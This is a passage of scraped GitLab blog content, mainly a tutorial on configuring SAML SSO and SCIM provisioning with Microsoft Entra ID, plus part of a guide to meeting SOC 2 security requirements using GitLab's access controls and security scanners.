GitLab\u003C/i>\u003C/center>\u003Cbr>\n\nNow we can start copying and pasting parameters. Within the Entra ID interface, select **Edit** within the “Basic SAML Configuration” block. The parameter sources and destination are identified in the following table.\n\n| Source (GitLab) | Destination (Entra ID) |\n| :---------------- | :------: | \n| Identifier        |   Identifier (Entity ID)   | \n| Assertion consumer service URL |   Reply URL (Assertion Consumer Service URL)   | \n| GitLab single sign-on URL    |  Sign on URL (Optional)   | \n\n\u003Cbr>\nOnce completed, your side-by-side view should appear similar to the following (noting the URLs are unique to your environment).\u003Cbr>\n\n![Completed basic SAML SSO configuration](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098073/Blog/Content%20Images/Blog/Content%20Images/image9_aHR0cHM6_1750098073332.png)\n\n\u003Ccenter>\u003Ci>Figure 5: Completed basic SAML SSO configuration\u003C/i>\u003C/center>\u003Cbr>\n\nClick **Save** within the Entra ID “Basic SML Configuration” window to save your hard work thus far. Note: You may need to click on the “X” in the upper right of the “Basic SAML Configuration” window if it doesn’t close automatically. \n\nAfter this window closes, you may get a popup to test single sign-on with your application. Select **No, I’ll test later**, because we still have more work to do (there is always more work to do). \n\n## Configuring attributes and claims\n\nWithin the Entra ID user interface, look for the section for “Attributes and Claims,” and click the **Edit** pencil icon. The first thing we want to do is modify the Unique User identifier (Name ID) value, so click on that row and set the Source attribute to **user.objectid**. Additionally, the Name identifier format must be updated, and set to **Persistent**.\n\n![Configuring attributes and claims](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098073/Blog/Content%20Images/Blog/Content%20Images/image14_aHR0cHM6_1750098073333.png)\n\n\u003Ccenter>\u003Ci>Figure 6: Configuring attributes and claims\u003C/i>\u003C/center>\u003Cbr>\n\nSave that claim configuration. Now we have additional claims to configure, but there are only three that we need here. So, feel free to go wild and delete those default four items under **Additional claims**, or you can edit the existing ones to match the table below. Note that these values (specifically, the Name) are case sensitive. \n\u003Cbr>\n\n| Name | Namespace | Source Attribute |\n| :---------------- | :------: | :------: | \n|emailaddress |http://schemas.microsoft.com/ws/2008/06/identity/claims | user.otheremail |\n| NameID | http://schemas.microsoft.com/ws/2008/06/identity/claims |user.objectid |\n\n\u003Cbr>\n\nThe resulting claims configuration should appear as follows. Note the use of **otheremail** for the “emailaddress” attribute. This was necessary for me as my primary email addresses within Entra ID are not the addresses used on GitLab.com. If you recall, when I set up my “user,\" I modified the contact information to include my gitlab.com email address as one of my “Other emails.” \n\n![Configuring the claims](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098073/Blog/Content%20Images/Blog/Content%20Images/image21_aHR0cHM6_1750098073335.png)  \n\n\u003Ccenter>\u003Ci>Figure 7: Configuring the claims\u003C/i>\u003C/center>\u003Cbr>\n\nWith your attributes configured, under the Advance settings, enable **Include attribute name format** setting.\n\n![Advanced claims configuration](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098073/Blog/Content%20Images/Blog/Content%20Images/image8_aHR0cHM6_1750098073336.png)\n\n\u003Ccenter>\u003Ci>Figure 8: Advanced claims configuration\u003C/i>\u003C/center>\u003Cbr>\n\nYour \"Attributes and Claims\" window should now look similar to Figure 9 below.\n\n![Configured attributes and claims](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098073/Blog/Content%20Images/Blog/Content%20Images/image18_aHR0cHM6_1750098073337.png)\n\n\u003Ccenter>\u003Ci>Figure 9: Configured attributes and claims\u003C/i>\u003C/center>\u003Cbr>\n\nIf you’re happy, or at least relatively content, with your configuration, click the “X” in the top right corner of the \"Attributes and Claims\" window to close it. \n\n## Configuring and assigning users\n\nNow that we have our application configured, we need to ensure that our users have been assigned to that application. I'll assume you’re working with a test instance that does not have the same email address as what is configured within your GitLab.com namespace. \n\nSo let’s go to the “Users and groups” within the Entra ID user interface for your configured application.\n\n![Managing application users and groups](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098073/Blog/Content%20Images/Blog/Content%20Images/image17_aHR0cHM6_1750098073338.png)\n\n\u003Ccenter>\u003Ci>Figure 10: Managing application users and groups\u003C/i>\u003C/center>\u003Cbr>\n\nSelect **Add user/group**, and under the “Users and groups” where it says “None Selected,” click that text. Now you can select the user(s) to add to your application. These are the users that will be permitted to log into GitLab, authenticating themselves through Entra ID.\n\n![User selection](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098073/Blog/Content%20Images/Blog/Content%20Images/image23_aHR0cHM6_1750098073339.png)\n\n\u003Ccenter>\u003Ci>Figure 11: User selection\u003C/i>\u003C/center>\u003Cbr>\n\nOnce selected, at the bottom of that page, click **Select**, and at the bottom of the next, select **Assign**. Now you should have a user assigned to your application.\n\n![User assigned to application](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098073/Blog/Content%20Images/Blog/Content%20Images/image12_aHR0cHM6_1750098073340.png)\n\n\u003Ccenter>\u003Ci>Figure 12: User assigned to application\u003C/i>\u003C/center>\u003Cbr>\n\nNext, we need to ensure that the GitLab.com email address for that user is configured correctly. By clicking on the user itself, we can modify or configure some  additional information about that user. We can see below, the User principal name, which is based on an “onmicrosoft” domain. This is not the email address I have associated with my GitLab.com account. If you recall that we set the “Email address” attribute to “otheremail,” this is where we now configure that “other” email address. \n\n![User properties](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098073/Blog/Content%20Images/Blog/Content%20Images/image20_aHR0cHM6_1750098073341.png)\n\n\u003Ccenter>\u003Ci>Figure 13: User properties\u003C/i>\u003C/center>\u003Cbr>\n\nClick the option to **Edit properties** for the user, and click on the **Contact Information** heading. Here we can add other emails – more specifically, the email address utilized for your GitLab.com account.  \n\n![Configuration of alternate email address](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098073/Blog/Content%20Images/Blog/Content%20Images/image15_aHR0cHM6_1750098073342.png)\n\n\u003Ccenter>\u003Ci>Figure 14: Configuration of alternate email address\u003C/i>\u003C/center>\u003Cbr>\n\nThat should complete the configuration parameters that we need in Entra ID, but wait, there’s more. \n\nWithin the GitLab side now, you will need to configure a couple parameters. First, you might as well enable SAML for the group as that’s kind of a key piece here. GitLab offers some additional options to disable password authentication or enforce SSO to reduce the security risks within your application, but we’ll leave those unchecked for now. Similar to the table above, we’ll need a couple things from Entra ID to configure into GitLab. Please refer to the table below. \n\u003Cbr>\n\n| Source (Entra ID) | Destination (GitLab) | \n| :---------------- | :------: | \n|Login URL |Identity provider single sign-on URL |\n| Thumbprint | Certificate fingerprint|\n\n\u003Cbr>\n\n![GitLab SAML configuration from Entra ID](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098073/Blog/Content%20Images/Blog/Content%20Images/image25_aHR0cHM6_1750098073343.png)\n\n\u003Ccenter>\u003Ci>Figure 15: GitLab SAML configuration from Entra ID\u003C/i>\u003C/center>\u003Cbr>\n\nLastly, you want to configure the default membership role for users logging in via SAML. Note that the access that you set for users here will cascade down to other groups and projects within your top-level group. Therefore, I would strongly recommend NOT setting this role to be “Owner.” Either “Guest” or “Minimal Access” would be acceptable options here, depending on the security posture of your organization. For more information about what these roles can and can not do, refer to the GitLab documentation on [Roles and Permissions](https://docs.gitlab.com/ee/user/permissions.html#roles). Now, save your work on the GitLab interface by clicking that beautiful blue **Save changes** button.\n\nWith your GitLab settings saved, you can now test your setup. I would encourage you to do this both through the “Verify SAML Configuration” on the GitLab system as well as with the Entra ID SSO \"Test\" button.\n\n## Troubleshooting SAML\n\nIn addition to the troubleshooting steps included within [GitLab documentation](https://docs.gitlab.com/ee/user/group/saml_sso/troubleshooting.html), I wanted to include a couple other items that I personally experienced. \n\nIf you get an error stating that the SAML reference did not contain an email address, check the Claim name for your email within the “Attributes and Claims” section within your Entra ID application. With GitLab 16.7, we added support for the “2008” attribute names, and at least for the email address setting, I found the default “xmlsoap” name for the email address claim to be a disappointing failure. \n\nAnother common error is “SAML Name ID and email address do not match your user account.” As you may suspect, this error is caused by a mismatch of the “NameID” and “emailaddress” attributes within the Entra ID application. This could be a misconfiguration of the “Attributes and Claims,” but it could also be that the properties of your test user don’t match your configuration. One helpful method to identify exactly what is coming through the SAML exchange is to use a SAML Tracer or SAML Message Decoder plugin with your web browser. \n\n## SCIM\n\nNow that you have SAML configured to enable users to log in via your Entra ID application, let’s make sure that people are assigned to the proper group(s) upon login. This can be incredibly helpful at scale, where instead of manually identifying which groups the particular users belong to, GitLab can learn this information from your identity application, Entra ID in this case. \n\nBecause SCIM utilizes groups to identify group membership, we need to create a group within Entra ID and add the relevant user(s) to the group. For this we’ll need the main administration menu for Entra ID. \n\n![Entra ID Group configuration](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098073/Blog/Content%20Images/Blog/Content%20Images/image19_aHR0cHM6_1750098073344.png)\n\n\u003Ccenter>\u003Ci>Figure 16: Entra ID Group configuration\u003C/i>\u003C/center>\u003Cbr>\n\nWe’re going to create a new group and assign our user(s) to that group. So click **New group** and configure a new group, which only requires you to configure a “Group name.” I used the default group type of “Security.” Leave the “Membership type” as “Assigned.” From this window, we can also assign the members.\n\n![Creating a New Entra ID Group](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098073/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750098073345.png)\n\n\u003Ccenter>\u003Ci>Figure 17: Creating a New Entra ID Group\u003C/i>\u003C/center>\u003Cbr>\n\nOnce you’ve added the member(s), click **Create** in the bottom of that window. With your group created, and the user(s) assigned to the group, we can configure SCIM.\n\nImmediately below the SAML configuration section within the GitLab UI, you’ll see the “SCIM Token” area. Here you can generate a new token, and copy the endpoint URL, both of which will be useful for the next steps. Note that if you forget or already have a SCIM token, it can be reset. \n\n![SCIM token and endpoint within GitLab](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098073/Blog/Content%20Images/Blog/Content%20Images/image10_aHR0cHM6_1750098073345.png)\n\n\u003Ccenter>\u003Ci>Figure 18: SCIM token and endpoint within GitLab\u003C/i>\u003C/center>\u003Cbr>\n\nWith this information saved, return to your Entra ID application configuration. Within the left side menu, you’ll find the following: \n\n![Provisioning SCIM within Entra ID](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098073/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750098073346.png)\n\n\u003Ccenter>\u003Ci>Figure 19: Provisioning SCIM within Entra ID\u003C/i>\u003C/center>\u003Cbr>\n\nWithin the \"Provisioning\" section, click on **New Configuration**, which opens a new page where that token and URL from GitLab will be used. \n\n![New provisioning configuration](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098073/Blog/Content%20Images/Blog/Content%20Images/image22_aHR0cHM6_1750098073348.png)\n\n\u003Ccenter>\u003Ci>Figure 20: New provisioning configuration\u003C/i>\u003C/center>\u003Cbr>\n\nFeel free to test the connection to ensure that you’ve configured the parameters properly. After testing, click on the **Create** button to establish the configuration and work on our mappings and settings. You may need to click the “X” in the top right corner of the panel to return to the overview configuration.\n\nExpand the “Mappings,” which includes two parameters; “Provision Microsoft Entra ID Groups” and “Provision Microsoft Entra ID Users.” SCIM group provisioning isn’t currently supported in GitLab, and although it doesn’t break the integration, keeping group provisioning enabled may cause negligible error messages. Therefore, we want to disable “Provision Microsoft Entra ID Groups,” so click that entry and set the “Enabled” field to “No.” \n\n![Provisioning attribute mapping](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098073/Blog/Content%20Images/Blog/Content%20Images/image4_aHR0cHM6_1750098073349.png)\n\n\u003Ccenter>\u003Ci>Figure 21: Provisioning attribute mapping\u003C/i>\u003C/center>\u003Cbr>\n\nSave that configuration and select “Provision Microsoft Entra ID Users.” Validate that all three \"Target Object Actions\" are enabled, and then proceed to the “Attribute Mapping” section. Delete all existing mappings available to delete (I find this easier because attributes can’t be assigned twice), and then configure the Attribute Mappings per the following table:\n\n| customappsso Attribute (Destination) | Microsoft Entra ID Attribute (Source) | Matching Precedence | Mapping Type |\n| :---------------- | :------: | :------: | :------: | \n|externalID|objectId|1|Direct|\n|active|Switch([IsSoftDeleted], , \"False\", \"True\", \"True\", \"False\")| |Expression|\n|userName|mailNickname| |Direct|\n|name.formatted|displayName| |Direct|\n|Emails[type eq “other”].value|userPrincipalName||Direct|\n\n\u003Cbr>\n\n![Editing attributes](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098073/Blog/Content%20Images/Blog/Content%20Images/image26_aHR0cHM6_1750098073349.png)\n\n\u003Ccenter>\u003Ci>Figure 22: Editing attributes\u003C/i>\u003C/center>\u003Cbr>\n\nAfter configuring all of the attribute mappings, the result should be similar to that found in Figure 22.\n\n![Completed attribute mapping configuration](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098073/Blog/Content%20Images/Blog/Content%20Images/image5_aHR0cHM6_1750098073350.png)\n\n\u003Ccenter>\u003Ci>Figure 23: Completed attribute mapping configuration\u003C/i>\u003C/center>\u003Cbr>\n\nNote the use of the “other” email within the **customappssso** attribute. This relates back to the “other” email we configured for the user back in the Entra ID user properties. In a production situation, the emails for the SSO account and the email address for the account within GitLab should match. \n\nWith your mapping complete (congratulations, Ptolemy), there are some advanced configuration settings necessary. Underneath the \"Attribute Mappings,\" click the box for “Show advanced options.” Once this box is checked, a link called “Edit attribute list for customappsso” is revealed.\n\n![Advanced attribute configuration](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098073/Blog/Content%20Images/Blog/Content%20Images/image6_aHR0cHM6_1750098073351.png)\n\n\u003Ccenter>\u003Ci>Figure 24: Advanced attribute configuration\u003C/i>\u003C/center>\u003Cbr>\n\nClick that link, and ensure that the Name “ID” is both “Primary Key” and “Required,” and that “externalID” is also “Required.” These attributes both refer to a unique user ID generated by Entra ID. However, although the “id” itself is required, it is not consistently provided within the API calls. Therefore, GitLab relies on the “externalID” to ensure the proper connection between the Entra ID and GitLab user accounts. \n\n![Required attribute list](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098073/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750098073351.png)\n\n\u003Ccenter>\u003Ci>Figure 25: Required attribute list\u003C/i>\u003C/center>\u003Cbr>\n\nSave these settings, and then close the “Attribute Mapping” page with the “X” in the top right of the window. Return to the \"Application Provisioning\" section and click **Start provisioning**. \n\nWithin GitLab, we need to configure the association between the group we configured within Entra ID and the level of access we want those users to have within the GitLab top-level group. Note that this association can be configured on each sub-group within GitLab for more extensive provisioning, but within GitLab, permissions flow downhill. Whatever permission you set for a user at a top-level group, or sub-group, will cascade down to all projects and groups contained therein. \n\nWithin the \"Settings\" portion of the GitLab menu, select **SAML Group Links**. Here is where you’ll configure the group name and determine what access level, or role, members of the Entra ID Group will have within this particular GitLab Group.\n\n![GitLab SAML Group link](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098073/Blog/Content%20Images/Blog/Content%20Images/image27_aHR0cHM6_1750098073352.png)\n\n\u003Ccenter>\u003Ci>Figure 26: GitLab SAML Group link\u003C/i>\u003C/center>\u003Cbr>\n\nAs shown in Figure 26, I’ve configured my membership to The Academy such that any users within the dev-security group from Entra ID  will be granted Developer access. Note that this is a slight variation of what a typical production environment would look like. In most instances, the user account within the identity provider (Entra ID, in this case) would match the user’s corporate account email (and we wouldn’t require “other” emails). When configured properly, if the user does not already have an account on GitLab, one will be created for them tied to their SSO account. \n\n![GitLab SSO tutorial - image11](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098073/Blog/Content%20Images/Blog/Content%20Images/image11_aHR0cHM6_1750098073352.png)\n\n\u003Ccenter>\u003Ci>Figure 27: SAML Group Links configured\u003C/i>\u003C/center>\u003Cbr>\n\nNow that you’ve completed the configuration, give it a try! From another browser, preferably in private mode to ignore any cookies or other yummy artifacts, paste the link for the GitLab SSO URL found in the GitLab SAML configurations. You should be prompted to log in with your Entra ID credentials and gain the proper access to your GitLab group! \n\nCongratulations, you’ve made it! I hope you’ve learned from and appreciate the work here, and we can all rejoice in the fact that the users within the Play-Dough app can now all properly authenticate, with the right permissions, to The Academy!\n\n> Don't have a GitLab account? [Sign up for a free, 60-day trial today](https://about.gitlab.com/free-trial/devsecops/).\n\n## Read more\n- [The ultimate guide to enabling SAML and SSO on GitLab.com](https://about.gitlab.com/blog/the-ultimate-guide-to-enabling-saml/)\n- [SAML SSO for GitLab.com groups documentation](https://docs.gitlab.com/ee/user/group/saml_sso/)",[696,674,479,943,2488],{"slug":2876,"featured":6,"template":678},"how-to-gitlab-single-sign-on-with-saml-scim-and-azures-entra-id","content:en-us:blog:how-to-gitlab-single-sign-on-with-saml-scim-and-azures-entra-id.yml","How To Gitlab Single Sign On With Saml Scim And Azures Entra Id","en-us/blog/how-to-gitlab-single-sign-on-with-saml-scim-and-azures-entra-id.yml","en-us/blog/how-to-gitlab-single-sign-on-with-saml-scim-and-azures-entra-id",{"_path":2882,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":2883,"content":2888,"config":2894,"_id":2897,"_type":16,"title":2898,"_source":17,"_file":2899,"_stem":2900,"_extension":20},"/en-us/blog/gitlab-patch-release-17-8-1-17-7-3-17-6-4",{"title":2884,"description":708,"ogTitle":2884,"ogDescription":708,"config":2885,"ogImage":712,"ogUrl":2886,"ogSiteName":1180,"ogType":1181,"canonicalUrls":2886,"schema":2887},"GitLab Patch Release: 17.8.1, 17.7.3, 17.6.4",{"noIndex":92},"https://about.gitlab.com/blog/gitlab-patch-release-17-8-1-17-7-3-17-6-4","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Patch Release: 17.8.1, 17.7.3, 17.6.4\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Ottilia Westerlund\"}],\n        \"datePublished\": \"2025-01-22\",\n      }",{"title":2884,"description":708,"authors":2889,"heroImage":712,"date":2891,"body":2892,"category":695,"tags":2893},[2890],"Ottilia Westerlund","2025-01-22","This is the post for [GitLab Patch Release: 17.8.1, 17.7.3, 17.6.4](https://about.gitlab.com/releases/2025/01/22/patch-release-gitlab-17-8-1-released/).",[1464,716],{"slug":2895,"featured":6,"template":678,"externalUrl":2896},"gitlab-patch-release-17-8-1-17-7-3-17-6-4","https://about.gitlab.com/releases/2025/01/22/patch-release-gitlab-17-8-1-released/","content:en-us:blog:gitlab-patch-release-17-8-1-17-7-3-17-6-4.yml","Gitlab Patch Release 17 8 1 17 7 3 17 6 4","en-us/blog/gitlab-patch-release-17-8-1-17-7-3-17-6-4.yml","en-us/blog/gitlab-patch-release-17-8-1-17-7-3-17-6-4",{"_path":2902,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":2903,"content":2909,"config":2913,"_id":2915,"_type":16,"title":2916,"_source":17,"_file":2917,"_stem":2918,"_extension":20},"/en-us/blog/guide-to-fulfilling-soc-2-security-requirements-with-gitlab",{"title":2904,"description":2905,"ogTitle":2904,"ogDescription":2905,"noIndex":6,"ogImage":2906,"ogUrl":2907,"ogSiteName":1180,"ogType":1181,"canonicalUrls":2907,"schema":2908},"Guide to fulfilling SOC 2 security requirements with GitLab","Understand the application security features in the GitLab DevSecOps platform that map to System and Organization Controls 2 requirements.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099576/Blog/Hero%20Images/Blog/Hero%20Images/AdobeStock_1172300481_IGPi3TS4VzFgcqhvEdBlR_1750099575518.jpg","https://about.gitlab.com/blog/guide-to-fulfilling-soc-2-security-requirements-with-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Guide to fulfilling SOC 2 security requirements with GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Fernando Diaz\"}],\n        \"datePublished\": \"2025-01-22\",\n      }",{"title":2904,"description":2905,"authors":2910,"heroImage":2906,"date":2891,"body":2911,"category":674,"tags":2912},[1622],"For businesses that handle sensitive customer information, achieving SOC 2 (System and Organization Controls 2) compliance is not just a good practice — it's often a necessity. SOC 2 is a rigorous auditing standard developed by the American Institute of Certified Public Accountants that assesses a service organization's controls related to security, availability, processing integrity, confidentiality, and privacy.\n\nWhile SOC 2 is not legally mandated, it has become increasingly important, in part due to breaches consistently seen in news headlines. Obtaining SOC 2 compliance allows customers to build trust with service organizations because they know their data is being properly stored and security controls have been assessed by a third party.\n\nIn this guide, we'll review the requirements for obtaining SOC 2 compliance and how GitLab can help your organization meet the highest standards for application security.\n\n## What requirements are set by SOC 2\n\nThe compliance process involves an audit by an independent auditor who evaluates the design and operating effectiveness of an organization's controls. This process can be very costly, and many organizations are not sufficiently prepared before an audit. With the SOC 2 audit process typically taking close to a year, it is important to establish an efficient pre-audit process.\n\nTo obtain SOC 2 compliance, an organization must meet requirements based on the Trust Services Criteria:\n\n| Criteria | Requirements |\n| :---- | :---- |\n| Security | - Implement controls to protect against unauthorized access \u003Cbr> - Establish procedures for identifying and mitigating risks\u003Cbr> - Set up systems for detecting and addressing security incidents |\n| Availability | - Ensure systems are accessible for operation as agreed\u003Cbr> - Monitor current usage and capacity \u003Cbr> - Identify and address environmental threats that could affect system availability |\n| Process integrity | - Maintain accurate records of system inputs and outputs \u003Cbr> - Implement procedures to quickly identify and correct system errors \u003Cbr> - Define processing activities to ensure products and services meet specifications |\n| Confidentiality | - Identify and protect confidential information \u003Cbr> - Establish policies for data retention periods \u003Cbr> - Implement secure methods for destroying confidential data after retention periods expire |\n| Privacy | - Obtain consent before collecting sensitive personal information \u003Cbr> - Communicate privacy policies clearly and in plain language \u003Cbr> - Collect data only through legal means and from reliable sources |\n\u003Cbr>\n\nNote that these requirements are not one-time achievements, but rather a continuous process. Auditors will require control effectiveness over time.\n\n## How to achieve and maintain the security requirements\n\nGitLab provides several features off the board to get you started with assuring SOC 2 security needs are met:\n\n| Security Requirement | Addressing Feature |\n| :---- | :---- |\n| Implement controls to protect against unauthorized access | - Confidential Issues and Merge Requests \u003Cbr> - Custom Roles and Granular Permissions \u003Cbr> - Security Policies \u003Cbr> - Verified Commit \u003Cbr> - Signed Container Images \u003Cbr> - CodeOwners \u003Cbr> - Protected Branches |\n| Set up systems for detecting and addressing security incidents | - Vulnerability Scanning \u003Cbr> - Merge Request Security Widget \u003Cbr> - Vulnerability Insights Compliance Center \u003Cbr> - Audit Events \u003Cbr> - Vulnerability Report Dependency List \u003Cbr> - AI: Vulnerability Explanation \u003Cbr> - AI: Vulnerability Resolution |\n| Establish procedures for identifying and mitigating risks | All the above tools can be used by a security team to establish a procedure around what to do when security vulnerabilities are identified and how they are mitigated. |\n\u003Cbr>\nLet’s go through each section and highlight the security features that address these requirements. Note that a [GitLab Ultimate subscription](https://about.gitlab.com/free-trial/) and the correct Role and Permissions are required to access many of the features listed. Be sure to check out the appropriate documentation for more information.\n\n## Implement controls to protect against unauthorized access\n\nImplementing robust access controls is essential for protecting an organization's assets, ensuring regulatory compliance, maintaining operational continuity, and fostering trust. GitLab allows you to implement controls to follow the [principle of least privilege](https://about.gitlab.com/blog/the-ultimate-guide-to-least-privilege-access-with-gitlab/), securing against unauthorized access. I will briefly cover:\n\n* [Security policies](#security-policies)  \n* [Custom roles and granular permissions](#custom-roles-and-granular-permissions)  \n* [Branch protections and CodeOwners](#branch-protections-and-codeowners)  \n* [Verified commits](#verified-commits)\n\n### Security policies\n\nGitLab's security policies, known as guardrails, enable security and compliance teams to implement consistent controls across their organization, helping prevent security incidents, maintain compliance standards, and reduce risk by automatically enforcing security best practices at scale.\n\n![Merge request approval policy in action](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099597/Blog/Content%20Images/Blog/Content%20Images/merge_request_approval_policy_aHR0cHM6_1750099596925.png)\n\n\u003Ccenter>\u003Ci>Merge request approval policy in action\u003C/i>\u003C/center>\u003Cbr>\n\nThe following policy types are available:\n\n* Scan execution policy: Enforce security scans, either as part of the pipeline or on a specified schedule  \n* Merge request approval policy: Enforce project-level settings and approval rules based on scan results  \n* Pipeline execution policy: Enforce CI/CD jobs as part of project pipelines  \n* Vulnerability management policy: Automate vulnerability management workflows\n\nHere is an example of ensuring compliance with the pipeline execution policy:\n\n1. Create a project that houses multiple compliance jobs. An example of a job can be to check permissions of files that are deployed. These jobs should be generic enough that they can be applied to multiple applications.\n2. Limit the project's permissions to only security/compliance officers; don’t allow developers to remove jobs. This allows for separation of duties.\n3. Inject the compliance jobs in batch to the projects where they are required. Force them to run no matter what, but allow approval from team lead to not block development. This will ensure compliance jobs are always run and cannot be removed by developers, and that your environment remains compliant.\n\n> ##### Learn how to create security policies with our [security policy documentation](https://docs.gitlab.com/ee/user/application_security/policies/).\n\n### Custom roles and granular permissions\n\nCustom permissions in GitLab allow organizations to create fine-grained access controls beyond the standard role-based permissions, providing benefits such as:\n\n* more precise access control  \n* better security compliance  \n* reduced risk of accidental access  \n* streamlined user management  \n* support for complex organizational structures\n\n![GitLab custom roles](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099597/Blog/Content%20Images/Blog/Content%20Images/custom_roles_aHR0cHM6_1750099596926.png)\n\n\u003Ccenter>\u003Ci>Roles and permissions settings, including custom roles\u003C/i>\u003C/center>\n\n> ##### Learn how to create custom roles with granular permissions using our [custom role documentation](https://docs.gitlab.com/ee/user/custom_roles.html).\n\n### Branch protections and CodeOwners\n\nGitLab helps you further control who can change your code using two key features:\n* Branch Protection, which lets you set rules about who can update specific branches – like requiring approval before merging changes.\n* Code Ownership, which automatically finds the right people to review code changes by matching files to their designated owners.\n\nTogether, these features help keep your code secure and high-quality by making sure the right people review and approve changes.\n\n![Protected branches](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099597/Blog/Content%20Images/Blog/Content%20Images/protected_branches_aHR0cHM6_1750099596928.png)\n\n\u003Ccenter>\u003Ci>Protected branch settings\u003C/i>\u003C/center>\n\n> ##### Learn how to create protected branches along with CodeOwners using [protected branch](https://docs.gitlab.com/ee/user/project/repository/branches/protected.html) and [codeowner](https://docs.gitlab.com/ee/user/project/codeowners/) documentation.\n\n### Verified commits\n\nWhen you sign your commits digitally, you prove they really came from you, not someone pretending to be you. Think of a digital signature like a unique stamp that only you can create. When you upload your public GPG key to GitLab, it can check this stamp. If the stamp matches, GitLab marks your commit as `Verified`. You can then set up rules to reject commits that aren't signed, or block all commits from users who haven't verified their identity.\n\n![Commit signed with verified signature](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099597/Blog/Content%20Images/Blog/Content%20Images/signed_commit_aHR0cHM6_1750099596929.png)\n\n\u003Ccenter>\u003Ci>Commit signed with verified signature\u003C/i>\u003C/center>\u003Cbr>\n\nCommits can be signed with:\n\n* SSH key  \n* GPG key  \n* Personal x.509 certificate\n\n> ##### Learn more about verified commits with our [signed commits documentation](https://docs.gitlab.com/ee/user/project/repository/signed_commits/).\n\n## Set up systems for detecting and addressing security incidents\n\nSetting up systems for detecting and addressing security incidents is vital for maintaining a robust security posture, ensuring regulatory compliance, minimizing potential damages, and enabling organizations to respond effectively to the ever-evolving threat landscape.\n\nGitLab provides security scanning and vulnerability management for the complete application lifecycle. I will briefly cover:\n\n* [Security scanning and vulnerability management](#security-scanning-and-vulnerability-management)  \n* [Software bill of materials](#software-bill-of-materials)  \n* [System auditing and security posture review](#system-auditing-and-security-posture-review)\n* [Compliance and security posture oversight](#compliance-and-security-posture-oversight)\n\n### Security scanning and vulnerability management\n\nGitLab provides a variety of different security scanners that cover the complete lifecycle of your application:\n\n* Static Application Security Testing (SAST)  \n* Dynamic Application Security Testing (DAST)\n* Container Scanning  \n* Dependency Scanning  \n* Infrastructure as Code (IaC) Scanning  \n* Coverage-guided Fuzzing\n* Web API Fuzzing\n\nThese scanners can be added to your pipeline via the use of templates. For example, to run SAST and dependency scanning jobs in the test stage, simply add the following to your .gitlab-ci.yml:\n\n```yaml  \nstages:  \n   - test\n\ninclude:  \n  - template: Jobs/Dependency-Scanning.gitlab-ci.yml  \n  - template: Jobs/SAST.gitlab-ci.yml  \n``` \n\nThese jobs are fully configurable via environment variables and using GitLab job syntax. Once a pipeline kicks off, the security scanners run and detect vulnerabilities in the diff between the current branch and the target branch. The vulnerability can be seen in a merge request (MR), providing detailed oversight before the code is merged to the target branch. The MR will provide the following information on a vulnerability:\n\n* description  \n* status  \n* severity  \n* evidence  \n* identifiers  \n* URL (if applicable)  \n* request/response (if applicable)  \n* reproduction assets (if applicable)  \n* training (if applicable)  \n* code flow (if using advanced SAST)\n\n![MR view of introduced vulnerability](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099597/Blog/Content%20Images/Blog/Content%20Images/no_sql_injection_vulnerability_mr_view_aHR0cHM6_1750099596931.png)\n\n\u003Ccenter>\u003Ci>MR view of introduced vulnerability\u003C/i>\u003C/center>\u003Cbr>\n\nDevelopers can use this data to remediate vulnerabilities without slowing down security team workflows. Developers can dismiss a vulnerability with reasoning, speeding up the review process, or they can create a confidential issue to track the vulnerability.\n\nIf the code in an MR is merged to the default (usually production-level) branch, then the vulnerability report is populated with the security scanner results. These results can be used by security teams to manage and triage the vulnerabilities found in production.\n\n![Vulnerability report with Batch Status setting](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099597/Blog/Content%20Images/Blog/Content%20Images/vulnerability_report_aHR0cHM6_1750099596936.png)\n\n\u003Ccenter>\u003Ci>Vulnerability report with Batch Status setting\u003C/i>\u003C/center>\u003Cbr>\n\nWhen clicking on a vulnerability description within the vulnerability report, you are provided with the vulnerability page, which contains the same vulnerability data as the MR, allowing for a single source of truth when assessing impact and performing remediation. From the vulnerability page, [GitLab Duo](https://about.gitlab.com/gitlab-duo/) AI features can be used to explain the vulnerability and also create an MR to remediate, speeding up resolution time.\n\n> ##### Learn more about the security scanners included with GitLab and how to manage vulnerabilities in our [application security documentation](https://docs.gitlab.com/ee/user/application_security/).\n\n### Software bill of materials\n\nGitLab can create a detailed list of everything your software uses – kind of like an ingredients list for your code. This list, called a software bill of materials 